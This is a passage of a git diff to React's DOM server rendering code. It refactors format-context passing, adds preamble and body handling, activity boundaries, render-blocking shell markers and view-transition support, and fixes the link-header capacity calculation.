@@ -3666,8 +4262,7 @@ export function pushStartInstance(
         resumableState,
         renderState,
         textEmbedded,
-        formatContext.insertionMode,
-        !!(formatContext.tagScope & NOSCRIPT_SCOPE),
+        formatContext,
       );
     case 'style':
       return pushStyle(
@@ -3677,23 +4272,14 @@ export function pushStartInstance(
         renderState,
         hoistableState,
         textEmbedded,
-        formatContext.insertionMode,
-        !!(formatContext.tagScope & NOSCRIPT_SCOPE),
+        formatContext,
       );
     case 'meta':
-      return pushMeta(
-        target,
-        props,
-        renderState,
-        textEmbedded,
-        formatContext.insertionMode,
-        !!(formatContext.tagScope & NOSCRIPT_SCOPE),
-        isFallback,
-      );
+      return pushMeta(target, props, renderState, textEmbedded, formatContext);
     // Newline eating tags
     case 'listing':
     case 'pre': {
-      return pushStartPreformattedElement(target, props, type);
+      return pushStartPreformattedElement(target, props, type, formatContext);
     }
     case 'img': {
       return pushImg(
@@ -3701,7 +4287,8 @@ export function pushStartInstance(
         props,
         resumableState,
         renderState,
-        !!(formatContext.tagScope & (PICTURE_SCOPE | NOSCRIPT_SCOPE)),
+        hoistableState,
+        formatContext,
       );
     }
     // Omitted close tags
@@ -3716,7 +4303,7 @@ export function pushStartInstance(
     case 'source':
     case 'track':
     case 'wbr': {
-      return pushSelfClosing(target, props, type);
+      return pushSelfClosing(target, props, type, formatContext);
     }
     // These are reserved SVG and MathML elements, that are never custom elements.
     // https://html.spec.whatwg.org/multipage/custom-elements.html#custom-elements-core-concepts
@@ -3736,25 +4323,35 @@ export function pushStartInstance(
         target,
         props,
         renderState,
-        formatContext.insertionMode,
+        preambleState,
+        formatContext,
+      );
+    case 'body':
+      return pushStartBody(
+        target,
+        props,
+        renderState,
+        preambleState,
+        formatContext,
       );
     case 'html': {
       return pushStartHtml(
         target,
         props,
         renderState,
-        formatContext.insertionMode,
+        preambleState,
+        formatContext,
       );
     }
     default: {
       if (type.indexOf('-') !== -1) {
         // Custom element
-        return pushStartCustomElement(target, props, type);
+        return pushStartCustomElement(target, props, type, formatContext);
       }
     }
   }
   // Generic element
-  return pushStartGenericElement(target, props, type);
+  return pushStartGenericElement(target, props, type, formatContext);
 }
 
 const endTagCache = new Map<string, PrecomputedChunk>();
@@ -3821,10 +4418,50 @@ export function pushEndInstance(
         return;
       }
       break;
+    case 'head':
+      if (formatContext.insertionMode <= HTML_HTML_MODE) {
+        return;
+      }
+      break;
   }
   target.push(endChunkForTag(type));
 }
 
+export function hoistPreambleState(
+  renderState: RenderState,
+  preambleState: PreambleState,
+) {
+  const rootPreamble = renderState.preamble;
+  if (rootPreamble.htmlChunks === null && preambleState.htmlChunks) {
+    rootPreamble.htmlChunks = preambleState.htmlChunks;
+  }
+  if (rootPreamble.headChunks === null && preambleState.headChunks) {
+    rootPreamble.headChunks = preambleState.headChunks;
+  }
+  if (rootPreamble.bodyChunks === null && preambleState.bodyChunks) {
+    rootPreamble.bodyChunks = preambleState.bodyChunks;
+  }
+}
+
+export function isPreambleReady(
+  renderState: RenderState,
+  // This means there are unfinished Suspense boundaries which could contain
+  // a preamble. In the case of DOM we constrain valid programs to only having
+  // one instance of each singleton so we can determine the preamble is ready
+  // as long as we have chunks for each of these tags.
+  hasPendingPreambles: boolean,
+): boolean {
+  const preamble = renderState.preamble;
+  return (
+    // There are no remaining boundaries which might contain a preamble so
+    // the preamble is as complete as it is going to get
+    hasPendingPreambles === false ||
+    // we have a head and body tag. we don't need to wait for any more
+    // because it would be invalid to render additional copies of these tags
+    !!(preamble.headChunks && preamble.bodyChunks)
+  );
+}
+
 function writeBootstrap(
   destination: Destination,
   renderState: RenderState,
@@ -3842,10 +4479,60 @@ function writeBootstrap(
   return true;
 }
 
+const shellTimeRuntimeScript = stringToPrecomputedChunk(markShellTime);
+
+function writeShellTimeInstruction(
+  destination: Destination,
+  resumableState: ResumableState,
+  renderState: RenderState,
+): boolean {
+  if (
+    enableFizzExternalRuntime &&
+    resumableState.streamingFormat !== ScriptStreamingFormat
+  ) {
+    // External runtime always tracks the shell time in the runtime.
+    return true;
+  }
+  if ((resumableState.instructions & SentMarkShellTime) !== NothingSent) {
+    // We already sent this instruction.
+    return true;
+  }
+  resumableState.instructions |= SentMarkShellTime;
+  writeChunk(destination, renderState.startInlineScript);
+  writeCompletedShellIdAttribute(destination, resumableState);
+  writeChunk(destination, endOfStartTag);
+  writeChunk(destination, shellTimeRuntimeScript);
+  return writeChunkAndReturn(destination, endInlineScript);
+}
+
 export function writeCompletedRoot(
   destination: Destination,
+  resumableState: ResumableState,
   renderState: RenderState,
+  isComplete: boolean,
 ): boolean {
+  if (!isComplete) {
+    // If we're not already fully complete, we might complete another boundary. If so,
+    // we need to track the paint time of the shell so we know how much to throttle the reveal.
+    writeShellTimeInstruction(destination, resumableState, renderState);
+  }
+  if (enableFizzBlockingRender) {
+    const preamble = renderState.preamble;
+    if (preamble.htmlChunks || preamble.headChunks) {
+      // If we rendered the whole document, then we emitted a rel="expect" that needs a
+      // matching target. Normally we use one of the bootstrap scripts for this but if
+      // there are none, then we need to emit a tag to complete the shell.
+      if (
+        (resumableState.instructions & SentCompletedShellId) ===
+        NothingSent
+      ) {
+        writeChunk(destination, startChunkForTag('template'));
+        writeCompletedShellIdAttribute(destination, resumableState);
+        writeChunk(destination, endOfStartTag);
+        writeChunk(destination, endChunkForTag('template'));
+      }
+    }
+  }
   return writeBootstrap(destination, renderState);
 }
 
@@ -3868,6 +4555,24 @@ export function writePlaceholder(
   return writeChunkAndReturn(destination, placeholder2);
 }
 
+// Activity boundaries are encoded as comments.
+const startActivityBoundary = stringToPrecomputedChunk('<!--&-->');
+const endActivityBoundary = stringToPrecomputedChunk('<!--/&-->');
+
+export function pushStartActivityBoundary(
+  target: Array<Chunk | PrecomputedChunk>,
+  renderState: RenderState,
+): void {
+  target.push(startActivityBoundary);
+}
+
+export function pushEndActivityBoundary(
+  target: Array<Chunk | PrecomputedChunk>,
+  renderState: RenderState,
+): void {
+  target.push(endActivityBoundary);
+}
+
 // Suspense boundaries are encoded as comments.
 const startCompletedSuspenseBoundary = stringToPrecomputedChunk('<!--$-->');
 const startPendingSuspenseBoundary1 = stringToPrecomputedChunk(
@@ -3893,18 +4598,6 @@ const clientRenderedSuspenseBoundaryError1D =
 const clientRenderedSuspenseBoundaryError2 =
   stringToPrecomputedChunk('></template>');
 
-export function pushStartCompletedSuspenseBoundary(
-  target: Array<Chunk | PrecomputedChunk>,
-) {
-  target.push(startCompletedSuspenseBoundary);
-}
-
-export function pushEndCompletedSuspenseBoundary(
-  target: Array<Chunk | PrecomputedChunk>,
-) {
-  target.push(endSuspenseBoundary);
-}
-
 export function writeStartCompletedSuspenseBoundary(
   destination: Destination,
   renderState: RenderState,
@@ -4052,6 +4745,7 @@ export function writeStartSegment(
   switch (formatContext.insertionMode) {
     case ROOT_HTML_MODE:
     case HTML_HTML_MODE:
+    case HTML_HEAD_MODE:
     case HTML_MODE: {
       writeChunk(destination, startSegmentHTML);
       writeChunk(destination, renderState.segmentPrefix);
@@ -4110,6 +4804,7 @@ export function writeEndSegment(
   switch (formatContext.insertionMode) {
     case ROOT_HTML_MODE:
     case HTML_HTML_MODE:
+    case HTML_HEAD_MODE:
     case HTML_MODE: {
       return writeChunkAndReturn(destination, endSegmentHTML);
     }
@@ -4161,6 +4856,7 @@ export function writeCompletedSegmentInstruction(
     resumableState.streamingFormat === ScriptStreamingFormat;
   if (scriptFormat) {
     writeChunk(destination, renderState.startInlineScript);
+    writeChunk(destination, endOfStartTag);
     if (
       (resumableState.instructions & SentCompleteSegmentFunction) ===
       NothingSent
@@ -4195,14 +4891,14 @@ export function writeCompletedSegmentInstruction(
   }
 }
 
-const completeBoundaryScript1Full = stringToPrecomputedChunk(
-  completeBoundaryFunction + '$RC("',
+const completeBoundaryScriptFunctionOnly = stringToPrecomputedChunk(
+  completeBoundaryFunction,
+);
+const completeBoundaryUpgradeToViewTransitionsInstruction = stringToChunk(
+  upgradeToViewTransitionsInstruction,
 );
 const completeBoundaryScript1Partial = stringToPrecomputedChunk('$RC("');
 
-const completeBoundaryWithStylesScript1FullBoth = stringToPrecomputedChunk(
-  completeBoundaryFunction + styleInsertionFunction + '$RR("',
-);
 const completeBoundaryWithStylesScript1FullPartial = stringToPrecomputedChunk(
   styleInsertionFunction + '$RR("',
 );
@@ -4232,6 +4928,10 @@ export function writeCompletedBoundaryInstruction(
   hoistableState: HoistableState,
 ): boolean {
   const requiresStyleInsertion = renderState.stylesToHoist;
+  const requiresViewTransitions =
+    enableViewTransition &&
+    (resumableState.instructions & NeedUpgradeToViewTransitions) !==
+      NothingSent;
   // If necessary stylesheets will be flushed with this instruction.
   // Any style tags not yet hoisted in the Document will also be hoisted.
   // We reset this state since after this instruction executes all styles
@@ -4242,20 +4942,40 @@ export function writeCompletedBoundaryInstruction(
     resumableState.streamingFormat === ScriptStreamingFormat;
   if (scriptFormat) {
     writeChunk(destination, renderState.startInlineScript);
+    writeChunk(destination, endOfStartTag);
     if (requiresStyleInsertion) {
+      if (
+        (resumableState.instructions & SentClientRenderFunction) ===
+        NothingSent
+      ) {
+        // The completeBoundaryWithStyles function depends on the client render function.
+        resumableState.instructions |= SentClientRenderFunction;
+        writeChunk(destination, clientRenderScriptFunctionOnly);
+      }
       if (
         (resumableState.instructions & SentCompleteBoundaryFunction) ===
         NothingSent
       ) {
-        resumableState.instructions |=
-          SentStyleInsertionFunction | SentCompleteBoundaryFunction;
-        writeChunk(destination, completeBoundaryWithStylesScript1FullBoth);
-      } else if (
+        // The completeBoundaryWithStyles function depends on the complete boundary function.
+        resumableState.instructions |= SentCompleteBoundaryFunction;
+        writeChunk(destination, completeBoundaryScriptFunctionOnly);
+      }
+      if (
+        requiresViewTransitions &&
+        (resumableState.instructions & SentUpgradeToViewTransitions) ===
+          NothingSent
+      ) {
+        resumableState.instructions |= SentUpgradeToViewTransitions;
+        writeChunk(
+          destination,
+          completeBoundaryUpgradeToViewTransitionsInstruction,
+        );
+      }
+      if (
         (resumableState.instructions & SentStyleInsertionFunction) ===
         NothingSent
       ) {
         resumableState.instructions |= SentStyleInsertionFunction;
-
         writeChunk(destination, completeBoundaryWithStylesScript1FullPartial);
       } else {
         writeChunk(destination, completeBoundaryWithStylesScript1Partial);
@@ -4266,10 +4986,20 @@ export function writeCompletedBoundaryInstruction(
         NothingSent
       ) {
         resumableState.instructions |= SentCompleteBoundaryFunction;
-        writeChunk(destination, completeBoundaryScript1Full);
-      } else {
-        writeChunk(destination, completeBoundaryScript1Partial);
+        writeChunk(destination, completeBoundaryScriptFunctionOnly);
       }
+      if (
+        requiresViewTransitions &&
+        (resumableState.instructions & SentUpgradeToViewTransitions) ===
+          NothingSent
+      ) {
+        resumableState.instructions |= SentUpgradeToViewTransitions;
+        writeChunk(
+          destination,
+          completeBoundaryUpgradeToViewTransitionsInstruction,
+        );
+      }
+      writeChunk(destination, completeBoundaryScript1Partial);
     }
   } else {
     if (requiresStyleInsertion) {
@@ -4320,6 +5050,9 @@ export function writeCompletedBoundaryInstruction(
   return writeBootstrap(destination, renderState) && writeMore;
 }
 
+const clientRenderScriptFunctionOnly =
+  stringToPrecomputedChunk(clientRenderFunction);
+
 const clientRenderScript1Full = stringToPrecomputedChunk(
   clientRenderFunction + ';$RX("',
 );
@@ -4352,6 +5085,7 @@ export function writeClientRenderBoundaryInstruction(
     resumableState.streamingFormat === ScriptStreamingFormat;
   if (scriptFormat) {
     writeChunk(destination, renderState.startInlineScript);
+    writeChunk(destination, endOfStartTag);
     if (
       (resumableState.instructions & SentClientRenderFunction) ===
       NothingSent
@@ -4505,7 +5239,7 @@ function escapeJSObjectForInstructionScripts(input: Object): string {
 }
 
 const lateStyleTagResourceOpen1 = stringToPrecomputedChunk(
-  '<style media="not all" data-precedence="',
+  ' media="not all" data-precedence="',
 );
 const lateStyleTagResourceOpen2 = stringToPrecomputedChunk('" data-href="');
 const lateStyleTagResourceOpen3 = stringToPrecomputedChunk('">');
@@ -4533,6 +5267,10 @@ function flushStyleTagsLateForBoundary(
   }
   let i = 0;
   if (hrefs.length) {
+    writeChunk(
+      this,
+      ((currentlyFlushingRenderState: any): RenderState).startInlineStyle,
+    );
     writeChunk(this, lateStyleTagResourceOpen1);
     writeChunk(this, styleQueue.precedence);
     writeChunk(this, lateStyleTagResourceOpen2);
@@ -4582,13 +5320,15 @@ export function writeHoistablesForBoundary(
   destinationHasCapacity = true;
 
   // Flush style tags for each precedence this boundary depends on
+  currentlyFlushingRenderState = renderState;
   hoistableState.styles.forEach(flushStyleTagsLateForBoundary, destination);
+  currentlyFlushingRenderState = null;
 
   // Determine if this boundary has stylesheets that need to be awaited upon completion
   hoistableState.stylesheets.forEach(hasStylesToHoist);
 
   // We don't actually want to flush any hoistables until the boundary is complete so we omit
-  // any further writing here. This is becuase unlike Resources, Hoistable Elements act more like
+  // any further writing here. This is because unlike Resources, Hoistable Elements act more like
   // regular elements, each rendered element has a unique representation in the DOM. We don't want
   // these elements to appear in the DOM early, before the boundary has actually completed
 
@@ -4625,9 +5365,7 @@ function flushStyleInPreamble(
   stylesheet.state = PREAMBLE;
 }
 
-const styleTagResourceOpen1 = stringToPrecomputedChunk(
-  '<style data-precedence="',
-);
+const styleTagResourceOpen1 = stringToPrecomputedChunk(' data-precedence="');
 const styleTagResourceOpen2 = stringToPrecomputedChunk('" data-href="');
 const spaceSeparator = stringToPrecomputedChunk(' ');
 const styleTagResourceOpen3 = stringToPrecomputedChunk('">');
@@ -4649,6 +5387,10 @@ function flushStylesInPreamble(
   // order so even if there are no rules for style tags at this precedence we emit an empty style
   // tag with the data-precedence attribute
   if (!hasStylesheets || hrefs.length) {
+    writeChunk(
+      this,
+      ((currentlyFlushingRenderState: any): RenderState).startInlineStyle,
+    );
     writeChunk(this, styleTagResourceOpen1);
     writeChunk(this, styleQueue.precedence);
     let i = 0;
@@ -4694,22 +5436,73 @@ function preloadLateStyles(this: Destination, styleQueue: StyleQueue) {
   styleQueue.sheets.clear();
 }
 
+const blockingRenderChunkStart = stringToPrecomputedChunk(
+  '<link rel="expect" href="#',
+);
+const blockingRenderChunkEnd = stringToPrecomputedChunk(
+  '" blocking="render"/>',
+);
+
+function writeBlockingRenderInstruction(
+  destination: Destination,
+  resumableState: ResumableState,
+  renderState: RenderState,
+): void {
+  if (enableFizzBlockingRender) {
+    const idPrefix = resumableState.idPrefix;
+    const shellId = '_' + idPrefix + 'R_';
+    writeChunk(destination, blockingRenderChunkStart);
+    writeChunk(destination, stringToChunk(escapeTextForBrowser(shellId)));
+    writeChunk(destination, blockingRenderChunkEnd);
+  }
+}
+
+const completedShellIdAttributeStart = stringToPrecomputedChunk(' id="');
+
+function writeCompletedShellIdAttribute(
+  destination: Destination,
+  resumableState: ResumableState,
+): void {
+  if ((resumableState.instructions & SentCompletedShellId) !== NothingSent) {
+    return;
+  }
+  resumableState.instructions |= SentCompletedShellId;
+  const idPrefix = resumableState.idPrefix;
+  const shellId = '_' + idPrefix + 'R_';
+  writeChunk(destination, completedShellIdAttributeStart);
+  writeChunk(destination, stringToChunk(escapeTextForBrowser(shellId)));
+  writeChunk(destination, attributeEnd);
+}
+
+function pushCompletedShellIdAttribute(
+  target: Array<Chunk | PrecomputedChunk>,
+  resumableState: ResumableState,
+): void {
+  if ((resumableState.instructions & SentCompletedShellId) !== NothingSent) {
+    return;
+  }
+  resumableState.instructions |= SentCompletedShellId;
+  const idPrefix = resumableState.idPrefix;
+  const shellId = '_' + idPrefix + 'R_';
+  target.push(
+    completedShellIdAttributeStart,
+    stringToChunk(escapeTextForBrowser(shellId)),
+    attributeEnd,
+  );
+}
+
 // We don't bother reporting backpressure at the moment because we expect to
 // flush the entire preamble in a single pass. This probably should be modified
 // in the future to be backpressure sensitive but that requires a larger refactor
 // of the flushing code in Fizz.
-export function writePreamble(
+export function writePreambleStart(
   destination: Destination,
   resumableState: ResumableState,
   renderState: RenderState,
-  willFlushAllSegments: boolean,
+  skipBlockingShell: boolean,
 ): void {
   // This function must be called exactly once on every request
-  if (
-    enableFizzExternalRuntime &&
-    !willFlushAllSegments &&
-    renderState.externalRuntimeScript
-  ) {
+  if (enableFizzExternalRuntime && renderState.externalRuntimeScript) {
     // If the root segment is incomplete due to suspended tasks
     // (e.g. willFlushAllSegments = false) and we are using data
     // streaming format, ensure the external runtime is sent.
@@ -4719,8 +5512,10 @@ export function writePreamble(
     internalPreinitScript(resumableState, renderState, src, chunks);
   }
 
-  const htmlChunks = renderState.htmlChunks;
-  const headChunks = renderState.headChunks;
+  const preamble = renderState.preamble;
+
+  const htmlChunks = preamble.htmlChunks;
+  const headChunks = preamble.headChunks;
 
   let i = 0;
 
@@ -4770,7 +5565,9 @@ export function writePreamble(
   renderState.highImagePreloads.clear();
 
   // Flush unblocked stylesheets by precedence
+  currentlyFlushingRenderState = renderState;
   renderState.styles.forEach(flushStylesInPreamble, destination);
+  currentlyFlushingRenderState = null;
 
   const importMapChunks = renderState.importMapChunks;
   for (i = 0; i < importMapChunks.length; i++) {
@@ -4786,18 +5583,51 @@ export function writePreamble(
   renderState.bulkPreloads.forEach(flushResource, destination);
   renderState.bulkPreloads.clear();
 
+  if ((htmlChunks || headChunks) && !skipBlockingShell) {
+    // If we have any html or head chunks we know that we're rendering a full document.
+    // A full document should block display until the full shell has downloaded.
+    // Therefore we insert a render blocking instruction referring to the last body
+    // element that's considered part of the shell. We do this after the important loads
+    // have already been emitted so we don't do anything to delay them but early so that
+    // the browser doesn't risk painting too early.
+    writeBlockingRenderInstruction(destination, resumableState, renderState);
+  } else {
+    // We don't need to add the shell id so mark it as if sent.
+    // Currently it might still be sent if it was already added to a bootstrap script.
+    resumableState.instructions |= SentCompletedShellId;
+  }
+
   // Write embedding hoistableChunks
   const hoistableChunks = renderState.hoistableChunks;
   for (i = 0; i < hoistableChunks.length; i++) {
     writeChunk(destination, hoistableChunks[i]);
   }
   hoistableChunks.length = 0;
+}
 
-  if (htmlChunks && headChunks === null) {
+// We don't bother reporting backpressure at the moment because we expect to
+// flush the entire preamble in a single pass. This probably should be modified
+// in the future to be backpressure sensitive but that requires a larger refactor
+// of the flushing code in Fizz.
+export function writePreambleEnd(
+  destination: Destination,
+  renderState: RenderState,
+): void {
+  const preamble = renderState.preamble;
+  const htmlChunks = preamble.htmlChunks;
+  const headChunks = preamble.headChunks;
+  if (htmlChunks || headChunks) {
     // we have an <html> but we inserted an implicit <head> tag. We need
     // to close it since the main content won't have it
     writeChunk(destination, endChunkForTag('head'));
   }
+
+  const bodyChunks = preamble.bodyChunks;
+  if (bodyChunks) {
+    for (let i = 0; i < bodyChunks.length; i++) {
+      writeChunk(destination, bodyChunks[i]);
+    }
+  }
 }
 
 // We don't bother reporting backpressure at the moment because we expect to
@@ -5329,6 +6159,7 @@ type StylesheetResource = {
 export type HoistableState = {
   styles: Set<StyleQueue>,
   stylesheets: Set<StylesheetResource>,
+  suspenseyImages: boolean,
 };
 
 export type StyleQueue = {
@@ -5342,6 +6173,7 @@ export function createHoistableState(): HoistableState {
   return {
     styles: new Set(),
     stylesheets: new Set(),
+    suspenseyImages: false,
   };
 }
 
@@ -5393,7 +6225,7 @@ function prefetchDNS(href: string) {
         // make this behavior different between render and prerender since in the latter case
         // we are less sensitive to the current requests runtime per and more sensitive to maximizing
         // headers.
-        (headers.remainingCapacity -= header.length) >= 2)
+        (headers.remainingCapacity -= header.length + 2) >= 0)
       ) {
         // Store this as resettable in case we are prerendering and postpone in the Shell
         renderState.resets.dns[key] = EXISTS;
@@ -5432,8 +6264,8 @@ function preconnect(href: string, crossOrigin: ?CrossOriginEnum) {
       crossOrigin === 'use-credentials'
         ? 'credentials'
         : typeof crossOrigin === 'string'
-        ? 'anonymous'
-        : 'default';
+          ? 'anonymous'
+          : 'default';
     const key = getResourceKey(href);
     if (!resumableState.connectResources[bucket].hasOwnProperty(key)) {
       resumableState.connectResources[bucket][key] = EXISTS;
@@ -5452,7 +6284,7 @@ function preconnect(href: string, crossOrigin: ?CrossOriginEnum) {
         // make this behavior different between render and prerender since in the latter case
         // we are less sensitive to the current requests runtime per and more sensitive to maximizing
         // headers.
-        (headers.remainingCapacity -= header.length) >= 2)
+        (headers.remainingCapacity -= header.length + 2) >= 0)
       ) {
         // Store this in resettableState in case we are prerending and postpone in the Shell
         renderState.resets.connect[bucket][key] = EXISTS;
@@ -5508,6 +6340,10 @@ function preload(href: string, as: string, options?: ?PreloadImplOptions) {
         if (
           headers &&
           headers.remainingCapacity > 0 &&
+          // browsers today don't support preloading responsive images from link headers so we bail out
+          // if the img has srcset defined
+          typeof imageSrcSet !== 'string' &&
+          // We only include high priority images in the link header
           fetchPriority === 'high' &&
           // Compute the header since we might be able to fit it in the max length
           ((header = getPreloadAsHeader(href, as, options)),
@@ -5518,7 +6354,7 @@ function preload(href: string, as: string, options?: ?PreloadImplOptions) {
           // make this behavior different between render and prerender since in the latter case
           // we are less sensitive to the current requests runtime per and more sensitive to maximizing
           // headers.
-          (headers.remainingCapacity -= header.length) >= 2)
+          (headers.remainingCapacity -= header.length + 2) >= 0)
         ) {
           // If we postpone in the shell we will still emit a preload as a header so we
           // track this to make sure we don't reset it.
@@ -5633,7 +6469,7 @@ function preload(href: string, as: string, options?: ?PreloadImplOptions) {
           // make this behavior different between render and prerender since in the latter case
           // we are less sensitive to the current requests runtime per and more sensitive to maximizing
           // headers.
-          (headers.remainingCapacity -= header.length) >= 2)
+          (headers.remainingCapacity -= header.length + 2) >= 0)
         ) {
           // If we postpone in the shell we will still emit this preload so we
           // track it here to prevent it from being reset.
@@ -6073,6 +6909,7 @@ function getPreloadAsHeader(
   let value = `<${escapedHref}>; rel=preload; as="${escapedAs}"`;
   for (const paramName in params) {
     if (hasOwnProperty.call(params, paramName)) {
+      // $FlowFixMe[invalid-computed-prop]
       const paramValue = params[paramName];
       if (typeof paramValue === 'string') {
         value += `; ${paramName.toLowerCase()}="${escapeStringForLinkHeaderQuotedParamValueContext(
@@ -6194,6 +7031,28 @@ export function hoistHoistables(
 ): void {
   childState.styles.forEach(hoistStyleQueueDependency, parentState);
   childState.stylesheets.forEach(hoistStylesheetDependency, parentState);
+  if (childState.suspenseyImages) {
+    // If the child has suspensey images, the parent now does too if it's inlined.
+    // Similarly, if a SuspenseList row has a suspensey image then effectively
+    // the next row should be blocked on it as well since the next row can't show
+    // earlier. In practice, since the child will be outlined this transferring
+    // may never matter but is conceptually correct.
+    parentState.suspenseyImages = true;
+  }
+}
+
+export function hasSuspenseyContent(
+  hoistableState: HoistableState,
+  flushingInShell: boolean,
+): boolean {
+  if (flushingInShell) {
+    // When flushing the shell, stylesheets with precedence are already emitted
+    // in the <head> which blocks paint. There's no benefit to outlining for CSS
+    // alone during the shell flush. However, suspensey images (for ViewTransition
+    // animation reveals) should still trigger outlining even during the shell.
+    return hoistableState.suspenseyImages;
+  }
+  return hoistableState.stylesheets.size > 0 || hoistableState.suspenseyImages;
 }
 
 // This function is called at various times depending on whether we are rendering
@@ -6259,7 +7118,7 @@ export function emitEarlyPreloads(
             // This means that a particularly long header might close out the header queue where later
             // headers could still fit. We could in the future alter the behavior here based on prerender vs render
             // since during prerender we aren't as concerned with pure runtime performance.
-            if ((headers.remainingCapacity -= header.length) >= 2) {
+            if ((headers.remainingCapacity -= header.length + 2) >= 0) {
               renderState.resets.style[key] = PRELOAD_NO_CREDS;
               if (linkHeader) {
                 linkHeader += ', ';
diff --git a/packages/react-dom-bindings/src/server/ReactFizzConfigDOMLegacy.js b/packages/react-dom-bindings/src/server/ReactFizzConfigDOMLegacy.js
index 92cd890976d2..46fad3c39bf4 100644
--- a/packages/react-dom-bindings/src/server/ReactFizzConfigDOMLegacy.js
+++ b/packages/react-dom-bindings/src/server/ReactFizzConfigDOMLegacy.js
@@ -10,19 +10,25 @@
 import type {
   RenderState as BaseRenderState,
   ResumableState,
+  HoistableState,
   StyleQueue,
   Resource,
   HeadersDescriptor,
+  PreambleState,
+  FormatContext,
 } from './ReactFizzConfigDOM';
 
 import {
   createRenderState as createRenderStateImpl,
   pushTextInstance as pushTextInstanceImpl,
   pushSegmentFinale as pushSegmentFinaleImpl,
+  pushStartActivityBoundary as pushStartActivityBoundaryImpl,
+  pushEndActivityBoundary as pushEndActivityBoundaryImpl,
   writeStartCompletedSuspenseBoundary as writeStartCompletedSuspenseBoundaryImpl,
   writeStartClientRenderedSuspenseBoundary as writeStartClientRenderedSuspenseBoundaryImpl,
   writeEndCompletedSuspenseBoundary as writeEndCompletedSuspenseBoundaryImpl,
   writeEndClientRenderedSuspenseBoundary as writeEndClientRenderedSuspenseBoundaryImpl,
+  writePreambleStart as writePreambleStartImpl,
 } from './ReactFizzConfigDOM';
 
 import type {
@@ -43,8 +49,8 @@ export type RenderState = {
   segmentPrefix: PrecomputedChunk,
   boundaryPrefix: PrecomputedChunk,
   startInlineScript: PrecomputedChunk,
-  htmlChunks: null | Array<Chunk | PrecomputedChunk>,
-  headChunks: null | Array<Chunk | PrecomputedChunk>,
+  startInlineStyle: PrecomputedChunk,
+  preamble: PreambleState,
   externalRuntimeScript: null | any,
   bootstrapChunks: Array<Chunk | PrecomputedChunk>,
   importMapChunks: Array<Chunk | PrecomputedChunk>,
@@ -73,6 +79,10 @@ export type RenderState = {
     scripts: Map<string, Resource>,
     moduleScripts: Map<string, Resource>,
   },
+  nonce: {
+    script: string | void,
+    style: string | void,
+  },
   stylesToHoist: boolean,
   // This is an extra field for the legacy renderer
   generateStaticMarkup: boolean,
@@ -96,8 +106,8 @@ export function createRenderState(
     segmentPrefix: renderState.segmentPrefix,
     boundaryPrefix: renderState.boundaryPrefix,
     startInlineScript: renderState.startInlineScript,
-    htmlChunks: renderState.htmlChunks,
-    headChunks: renderState.headChunks,
+    startInlineStyle: renderState.startInlineStyle,
+    preamble: renderState.preamble,
     externalRuntimeScript: renderState.externalRuntimeScript,
     bootstrapChunks: renderState.bootstrapChunks,
     importMapChunks: renderState.importMapChunks,
@@ -116,6 +126,7 @@ export function createRenderState(
     scripts: renderState.scripts,
     bulkPreloads: renderState.bulkPreloads,
     preloads: renderState.preloads,
+    nonce: renderState.nonce,
     stylesToHoist: renderState.stylesToHoist,
 
     // This is an extra field for the legacy renderer
@@ -134,16 +145,17 @@ export const doctypeChunk: PrecomputedChunk = stringToPrecomputedChunk('');
 export type {
   ResumableState,
   HoistableState,
+  PreambleState,
   FormatContext,
 } from './ReactFizzConfigDOM';
 
 export {
   getChildFormatContext,
+  getSuspenseFallbackFormatContext,
+  getSuspenseContentFormatContext,
   makeId,
   pushStartInstance,
   pushEndInstance,
-  pushStartCompletedSuspenseBoundary,
-  pushEndCompletedSuspenseBoundary,
   pushFormStateMarkerIsMatching,
   pushFormStateMarkerIsNotMatching,
   writeStartSegment,
@@ -158,18 +170,41 @@ export {
   writeCompletedRoot,
   createRootFormatContext,
   createResumableState,
+  createPreambleState,
   createHoistableState,
-  writePreamble,
+  writePreambleEnd,
   writeHoistables,
   writePostamble,
   hoistHoistables,
   resetResumableState,
   completeResumableState,
   emitEarlyPreloads,
+  supportsClientAPIs,
+  hoistPreambleState,
+  isPreambleReady,
+  isPreambleContext,
 } from './ReactFizzConfigDOM';
 
 import escapeTextForBrowser from './escapeTextForBrowser';
 
+export function getViewTransitionFormatContext(
+  resumableState: ResumableState,
+  parentContext: FormatContext,
+  update: void | null | 'none' | 'auto' | string,
+  enter: void | null | 'none' | 'auto' | string,
+  exit: void | null | 'none' | 'auto' | string,
+  share: void | null | 'none' | 'auto' | string,
+  name: void | null | 'auto' | string,
+  autoName: string, // name or an autogenerated unique name
+): FormatContext {
+  // ViewTransition reveals are not supported in legacy renders.
+  return parentContext;
+}
+
+export function canHavePreamble(formatContext: FormatContext): boolean {
+  return false;
+}
+
 export function pushTextInstance(
   target: Array<Chunk | PrecomputedChunk>,
   text: string,
@@ -202,6 +237,28 @@ export function pushSegmentFinale(
   }
 }
 
+export function pushStartActivityBoundary(
+  target: Array<Chunk | PrecomputedChunk>,
+  renderState: RenderState,
+): void {
+  if (renderState.generateStaticMarkup) {
+    // A completed boundary is done and doesn't need a representation in the HTML
+    // if we're not going to be hydrating it.
+    return;
+  }
+  pushStartActivityBoundaryImpl(target, renderState);
+}
+
+export function pushEndActivityBoundary(
+  target: Array<Chunk | PrecomputedChunk>,
+  renderState: RenderState,
+): void {
+  if (renderState.generateStaticMarkup) {
+    return;
+  }
+  pushEndActivityBoundaryImpl(target, renderState);
+}
+
 export function writeStartCompletedSuspenseBoundary(
   destination: Destination,
   renderState: RenderState,
@@ -255,5 +312,27 @@ export function writeEndClientRenderedSuspenseBoundary(
   return writeEndClientRenderedSuspenseBoundaryImpl(destination, renderState);
 }
 
+export function writePreambleStart(
+  destination: Destination,
+  resumableState: ResumableState,
+  renderState: RenderState,
+  skipBlockingShell: boolean,
+): void {
+  return writePreambleStartImpl(
+    destination,
+    resumableState,
+    renderState,
+    true, // skipBlockingShell
+  );
+}
+
+export function hasSuspenseyContent(
+  hoistableState: HoistableState,
+  flushingInShell: boolean,
+): boolean {
+  // Never outline.
+  return false;
+}
+
 export type TransitionStatus = FormStatus;
 export const NotPendingTransition: TransitionStatus = NotPending;
diff --git a/packages/react-dom-bindings/src/server/ReactFlightServerConfigDOM.js b/packages/react-dom-bindings/src/server/ReactFlightServerConfigDOM.js
index 32905aa45b1f..e5c1c22c190c 100644
--- a/packages/react-dom-bindings/src/server/ReactFlightServerConfigDOM.js
+++ b/packages/react-dom-bindings/src/server/ReactFlightServerConfigDOM.js
@@ -17,12 +17,10 @@ import type {
 } from 'react-dom/src/shared/ReactDOMTypes';
 
 // This module registers the host dispatcher so it needs to be imported
-// but it does not have any exports
-import './ReactDOMFlightServerHostDispatcher';
